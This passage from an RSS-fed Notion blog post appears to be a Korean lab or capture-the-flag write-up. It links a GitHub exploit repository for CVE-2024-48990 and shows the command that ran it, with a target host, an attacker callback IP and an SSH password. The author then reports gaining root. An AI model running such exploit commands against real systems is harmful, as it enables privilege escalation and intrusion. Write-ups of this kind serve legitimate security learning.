209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-preview-card-domain">Github</div></div><div class="notion-preview-card-title">CVE-2024-48990-Automatic-Exploit</div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Owner</div><span class="notion-external-subtitle-item-desc">Serner77</span></div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Updated</div><span class="notion-external-subtitle-item-desc">Mar 9, 2026</span></div><div class="notion-preview-card-github-shields"><img src="https://img.shields.io/github/stars/Serner77/CVE-2024-48990-Automatic-Exploit?logo=github" alt=""/><img src="https://img.shields.io/github/last-commit/Serner77/CVE-2024-48990-Automatic-Exploit" alt=""/></div></div></div></a></li></ul></ul><div class="notion-blank notion-block-acc2196f526b82169547816819a86805"> </div><div class="notion-text notion-block-6022196f526b83d082d00175a94476ed"><code class="notion-inline-code">python3 </code><code class="notion-inline-code"><a class="notion-link" href="http://exploit.py/" target="_blank" rel="noopener noreferrer">exploit.py</a></code><code class="notion-inline-code"> --user fismathack --host 10.10.11.92 --att-ip 10.10.15.183 --ssh-pass Keepmesafeandwarm</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1052196f526b82559293019255bbe855"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Abbd5d35d-6e8c-4c20-8453-413cba3d54cb%3Aimage.png?table=block&amp;id=1052196f-526b-8255-9293-019255bbe855&amp;t=1052196f-526b-8255-9293-019255bbe855" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-6572196f526b8271b561017db4282eeb"><li>github 코드 사용법대로 사용하니 한방에 성공되었다…</li></ul><ul class="notion-list notion-list-disc notion-block-1842196f526b82c0a13f81a903bf45f0"><li>root flag 획득!!</li></ul></main></div>]]></content:encoded>
        </item>
    </channel>
</rss>